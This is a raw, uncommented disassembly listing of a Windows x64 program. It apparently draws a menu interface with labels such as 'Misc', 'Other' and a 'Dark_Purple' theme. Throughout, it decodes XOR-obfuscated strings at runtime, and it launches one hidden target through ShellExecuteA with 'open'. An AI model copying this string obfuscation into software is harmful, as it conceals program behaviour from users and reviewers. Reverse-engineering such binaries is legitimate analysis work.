xor al, 0x33
mov byte [rbp + 0x39], al
xor cl, 0x33
mov byte [rbp + 0x3a], cl
xor dl, 0x33
mov byte [rbp + 0x3b], dl
xor r8b, 0x33
mov byte [rbp + 0x3c], r8b
mov byte [rbp + 0x3d], r9b
xor r8d, r8d
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x39]
call fcn.140055590
test al, al
je 0x140010e5d
cmp qword [0x1400d4130], 0
je 0x140010e5d
lea rdx, [0x14000b2d0]
lea rcx, [rbp + 0x18]
call fcn.1400164f0
nop
lea rcx, [rbp + 0x18]
call fcn.140001a60
nop
cmp dword [rbp + 0x20], 0
je 0x140010e5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov dword [rbp + 0x18], 0x43b98000
mov dword [rbp + 0x1c], 0x43390000
lea rcx, [rbp + 0x18]
call fcn.14002a2a0
mov dword [rbp + 0x18], 0x42dc0000
mov dword [rbp + 0x1c], 0x41a00000
mov byte [rsp + 0x50], 0x5f
mov al, reloc.WS2_32.dll_recv
mov cl, 0x2f
mov dl, 0x3a
mov r8b, Ordinal_50
mov r9b, 0x7f
mov r10b, reloc.WS2_32.dll_gethostname
mov r11b, Ordinal_50
mov bl, 0x33
mov dil, Ordinal_60
movzx esi, dl
mov r14b, reloc.WLDAP32.dll_Ordinal_45
xor r15d, r15d
xor al, 0x5f
mov byte [rsp + 0x51], al
xor cl, 0x5f
mov byte [rsp + 0x52], cl
xor dl, 0x5f
mov byte [rsp + 0x53], dl
xor r8b, 0x5f
mov byte [rsp + 0x54], r8b
xor r9b, 0x5f
mov byte [rsp + 0x55], r9b
xor r10b, 0x5f
mov byte [rsp + 0x56], r10b
xor r11b, 0x5f
mov byte [rsp + 0x57], r11b
xor bl, 0x5f
mov byte [rsp + 0x58], bl
xor dil, 0x5f
mov byte [rsp + 0x59], dil
xor sil, 0x5f
mov byte [rsp + 0x5a], sil
xor r14b, 0x5f
mov byte [rsp + 0x5b], r14b
mov byte [rsp + 0x5c], r15b
xor r8d, r8d
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x51]
call fcn.140055590
test al, al
je 0x14001103d
movdqa xmm1, xmmword [0x1400c34e0]
movdqu xmmword [rsp + 0x70], xmm1
movdqa xmm2, xmmword [0x1400c3520]
movdqu xmmword [rbp - 0x80], xmm2
mov dl, 0x48
mov r8b, 0x40
mov r9b, reloc.WLDAP32.dll_Ordinal_79
mov r10b, 0x41
mov r11b, 0x55
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x71], al
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
movd eax, xmm2
xor al, cl
mov byte [rbp - 0x80], al
xor byte [rbp - 0x7f], cl
xor byte [rbp - 0x7e], cl
xor byte [rbp - 0x7d], cl
xor byte [rbp - 0x7c], cl
xor byte [rbp - 0x7b], cl
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor byte [rbp - 0x78], cl
xor byte [rbp - 0x77], cl
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor byte [rbp - 0x71], cl
xor dl, cl
mov byte [rbp - 0x70], dl
xor r8b, cl
mov byte [rbp - 0x6f], r8b
xor r9b, cl
mov byte [rbp - 0x6e], r9b
xor r10b, cl
mov byte [rbp - 0x6d], r10b
xor r11b, cl
mov byte [rbp - 0x6c], r11b
mov byte [rbp - 0x6b], r15b
mov byte [rbp + 0x38], reloc.WLDAP32.dll_Ordinal_46
mov al, 0x41
mov cl, 0x5e
mov dl, 0x4b
mov r8b, 0x40
xor r9d, r9d
xor al, 0x2e
mov byte [rbp + 0x39], al
xor cl, 0x2e
mov byte [rbp + 0x3a], cl
xor dl, 0x2e
mov byte [rbp + 0x3b], dl
xor r8b, 0x2e
mov byte [rbp + 0x3c], r8b
mov byte [rbp + 0x3d], r9b
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0x71]
lea rdx, [rbp + 0x39]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rbp + 0x18], 0x43b98000
mov dword [rbp + 0x1c], 0x43520000
lea rcx, [rbp + 0x18]
call fcn.14002a2a0
mov dword [rbp + 0x18], 0x42dc0000
mov dword [rbp + 0x1c], 0x41a00000
mov byte [rbp + 0x38], reloc.WLDAP32.dll_Ordinal_27
mov al, 0x59
mov cl, 0x7a
mov dl, 0x78
mov r8b, reloc.WS2_32.dll_WSASetLastError
xor r9d, r9d
xor al, 0x1b
mov byte [rbp + 0x39], al
xor cl, 0x1b
mov byte [rbp + 0x3a], cl
xor dl, 0x1b
mov byte [rbp + 0x3b], dl
xor r8b, 0x1b
mov byte [rbp + 0x3c], r8b
mov byte [rbp + 0x3d], r9b
xor r8d, r8d
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x39]
call fcn.140055590
test al, al
je 0x1400110aa
mov byte [0x1400d517a], r15b
mov dword [rbp + 0x18], 0x43b98000
mov dword [rbp + 0x1c], 0x42e80000
lea rcx, [rbp + 0x18]
call fcn.14002a2a0
cmp byte [0x1400d5145], r15b
je 0x14001113f
mov byte [rbp + 0x18], 2
mov al, WSAGetLastError
mov cl, 0x6d
mov dl, 0x63
mov r8b, 0x66
mov r9b, 0x6b
mov r10b, 0x6c
mov r11b, 0x65
mov bl, Ordinal_45
movzx edi, bl
movzx esi, bl
xor r14d, r14d
xor al, 2
mov byte [rbp + 0x19], al
xor cl, 2
mov byte [rbp + 0x1a], cl
xor dl, 2
mov byte [rbp + 0x1b], dl
xor r8b, 2
mov byte [rbp + 0x1c], r8b
xor r9b, 2
mov byte [rbp + 0x1d], r9b
xor r10b, 2
mov byte [rbp + 0x1e], r10b
xor r11b, 2
mov byte [rbp + 0x1f], r11b
xor bl, 2
mov byte [rbp + 0x20], bl
xor dil, 2
mov byte [rbp + 0x21], dil
xor sil, 2
mov byte [rbp + 0x22], sil
mov byte [rbp + 0x23], r14b
lea rcx, [rbp + 0x19]
call fcn.140054cf0
call fcn.140022970
mov edx, dword [0x1400d57d0]
cmp edx, 4
jne 0x140011603
movaps xmm0, xmmword [0x1400c32b0]
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.140019ff0
movss xmm0, dword [rbp + 0x10]
addss xmm0, xmm10
movss dword [rbp + 0x18], xmm0
movss xmm1, dword [rbp + 0x14]
addss xmm1, xmm8
movss dword [rbp + 0x1c], xmm1
mov qword [rsp + 0x40], r12
movss dword [rsp + 0x38], xmm7
mov qword [rsp + 0x30], r12
lea rcx, str.Misc
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x18]
movaps xmm2, xmm9
mov rdx, qword [0x1400d5190]
mov rcx, r13
call fcn.140049650
mov dword [rbp + 0x18], 0x41c80000
mov dword [rbp + 0x1c], 0x42aa0000
lea rcx, [rbp + 0x18]
call fcn.14002a2a0
mov dword [rsp + 0x50], 0x433e0000
mov dword [rsp + 0x54], 0x43898000
mov rcx, qword [0x1400d51c0]
mov rax, qword [rcx + 0x3fe0]
mov byte [rax + 0xcd], 1
xor r8d, r8d
lea rdx, str.container
mov rcx, qword [rcx + 0x3fe0]
call fcn.14001cea0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rsp + 0x50]
lea rcx, str.container
call fcn.140022740
movdqa xmm1, xmmword [0x1400c34d0]
movdqu xmmword [rbp + 0x18], xmm1
mov dl, reloc.WS2_32.dll_recvfrom
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x19], al
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor byte [rbp + 0x20], cl
xor byte [rbp + 0x21], cl
xor byte [rbp + 0x22], cl
xor byte [rbp + 0x23], cl
xor byte [rbp + 0x24], cl
xor byte [rbp + 0x25], cl
xor byte [rbp + 0x26], cl
xor byte [rbp + 0x27], cl
xor dl, cl
mov byte [rbp + 0x28], dl
mov byte [rbp + 0x29], 0
movaps xmm0, xmmword [0x1400d5530]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [0x1400d5540]
movaps xmmword [rsp + 0x60], xmm1
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x19]
call fcn.140054cf0
movdqa xmm1, xmmword [0x1400c39c0]
movdqu xmmword [rbp + 0x18], xmm1
mov cl, 0x69
mov dl, 0x68
mov r8b, reloc.WLDAP32.dll_Ordinal_60
mov r10b, 0x26
mov r11b, 0x6a
mov bl, reloc.WS2_32.dll_WSAGetLastError
mov dil, 0x60
mov sil, 0x63
mov r14b, WSAStartup
movzx r15d, bl
mov r12b, 0x6b
movzx r13d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rbp + 0x19], al
xor byte [rbp + 0x1a], r9b
xor byte [rbp + 0x1b], r9b
xor byte [rbp + 0x1c], r9b
xor byte [rbp + 0x1d], r9b
xor byte [rbp + 0x1e], r9b
xor byte [rbp + 0x1f], r9b
xor byte [rbp + 0x20], r9b
xor byte [rbp + 0x21], r9b
xor byte [rbp + 0x22], r9b
xor byte [rbp + 0x23], r9b
xor byte [rbp + 0x24], r9b
xor byte [rbp + 0x25], r9b
xor byte [rbp + 0x26], r9b
xor byte [rbp + 0x27], r9b
xor cl, r9b
mov byte [rbp + 0x28], cl
xor dl, r9b
mov byte [rbp + 0x29], dl
xor r8b, r9b
mov byte [rbp + 0x2a], r8b
xor r10b, r9b
mov byte [rbp + 0x2b], r10b
xor r11b, r9b
mov byte [rbp + 0x2c], r11b
xor bl, r9b
mov byte [rbp + 0x2d], bl
xor dil, r9b
mov byte [rbp + 0x2e], dil
xor sil, r9b
mov byte [rbp + 0x2f], sil
xor r14b, r9b
mov byte [rbp + 0x30], r14b
xor r15b, r9b
mov byte [rbp + 0x31], r15b
xor r12b, r9b
mov byte [rbp + 0x32], r12b
xor r13b, r9b
mov byte [rbp + 0x33], r13b
mov byte [rbp + 0x34], 0
movaps xmm0, xmmword [0x1400d5530]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [0x1400d5540]
movaps xmmword [rsp + 0x60], xmm1
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x19]
call fcn.140054cf0
mov byte [rbp + 0x18], reloc.WLDAP32.dll_Ordinal_26
mov al, 0x78
mov cl, reloc.WS2_32.dll_WSAGetLastError
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8b, 0x76
mov r9b, 0x7e
mov r10b, reloc.WLDAP32.dll_Ordinal_32
mov r11b, Ordinal_60
mov bl, 0x3f
mov dil, 0x69
xor esi, esi
xor al, 0x1a
mov byte [rbp + 0x19], al
xor cl, 0x1a
mov byte [rbp + 0x1a], cl
xor dl, 0x1a
mov byte [rbp + 0x1b], dl
xor r8b, 0x1a
mov byte [rbp + 0x1c], r8b
xor r9b, 0x1a
mov byte [rbp + 0x1d], r9b
xor r10b, 0x1a
mov byte [rbp + 0x1e], r10b
xor r11b, 0x1a
mov byte [rbp + 0x1f], r11b
xor bl, 0x1a
mov byte [rbp + 0x20], bl
xor dil, 0x1a
mov byte [rbp + 0x21], dil
mov byte [rbp + 0x22], sil
lea rdx, str.Oct_30_2023_14:02:07
lea rcx, [rbp + 0x19]
call fcn.140054cf0
call fcn.140022970
movaps xmm0, xmmword [0x1400c32b0]
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.140019ff0
movss xmm0, dword [rbp + 0x10]
addss xmm0, xmm11
movss dword [rbp + 0x18], xmm0
movss xmm1, dword [rbp + 0x14]
addss xmm1, xmm8
movss dword [rbp + 0x1c], xmm1
xor ebx, ebx
mov qword [rsp + 0x40], rbx
movss dword [rsp + 0x38], xmm7
mov qword [rsp + 0x30], rbx
lea rcx, str.Other
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x18]
movaps xmm2, xmm9
mov rdx, qword [0x1400d5190]
mov rcx, qword [rbp - 0x68]
call fcn.140049650
mov dword [rbp + 0x18], 0x438e8000
mov dword [rbp + 0x1c], 0x42aa0000
lea rcx, [rbp + 0x18]
call fcn.14002a2a0
mov dword [rbp - 0x68], 0x433e0000
mov dword [rbp - 0x64], 0x43898000
mov rcx, qword [0x1400d51c0]
mov rax, qword [rcx + 0x3fe0]
mov byte [rax + 0xcd], 1
xor r8d, r8d
lea rdx, str.container1
mov rcx, qword [rcx + 0x3fe0]
call fcn.14001cea0
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp - 0x68]
lea rcx, str.container1
call fcn.140022740
call fcn.140057bd0
mov qword [rbp + 0x18], rbx
mov byte [rsp + 0x50], Ordinal_45
mov al, 0x66
mov cl, 0x45
mov dl, 0x4d
movzx r8d, cl
mov r9b, 0x5f
mov r10b, 0x5e
xor al, 0x2a
mov byte [rsp + 0x51], al
xor cl, 0x2a
mov byte [rsp + 0x52], cl
xor dl, 0x2a
mov byte [rsp + 0x53], dl
xor r8b, 0x2a
mov byte [rsp + 0x54], r8b
xor r9b, 0x2a
mov byte [rsp + 0x55], r9b
xor r10b, 0x2a
mov byte [rsp + 0x56], r10b
mov byte [rsp + 0x57], bl
xor r8d, r8d
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x51]
call fcn.140055590
test al, al
je 0x140011563
mov dword [0x1400d5148], ebx
mov byte [rbp + 0x18], reloc.WS2_32.dll_recv
mov al, 0x5d
mov cl, 0x75
mov dl, 0x7e
mov r8b, 0x65
mov r9b, Ordinal_50
mov r10b, 0x44
mov r11b, 0x78
movzx ebx, cl
mov dil, 0x7d
movzx esi, cl
xor r14d, r14d
xor al, 0x10
mov byte [rbp + 0x19], al
xor cl, 0x10
mov byte [rbp + 0x1a], cl
xor dl, 0x10
mov byte [rbp + 0x1b], dl
xor r8b, 0x10
mov byte [rbp + 0x1c], r8b
xor r9b, 0x10
mov byte [rbp + 0x1d], r9b
xor r10b, 0x10
mov byte [rbp + 0x1e], r10b
xor r11b, 0x10
mov byte [rbp + 0x1f], r11b
xor bl, 0x10
mov byte [rbp + 0x20], bl
xor dil, 0x10
mov byte [rbp + 0x21], dil
xor sil, 0x10
mov byte [rbp + 0x22], sil
mov byte [rbp + 0x23], r14b
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 2
lea r9, str.Dark_Purple
lea r8, [fcn.140058e90]
lea rdx, [0x1400d5728]
lea rcx, [rbp + 0x19]
call fcn.140058eb0
call fcn.140022970
call fcn.140028790
mov ecx, 1
call fcn.14001a650
mov rcx, qword [rbp + 0x1150]
xor rcx, rsp
call fcn.1400aac90
lea r11, [rsp + 0x12c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret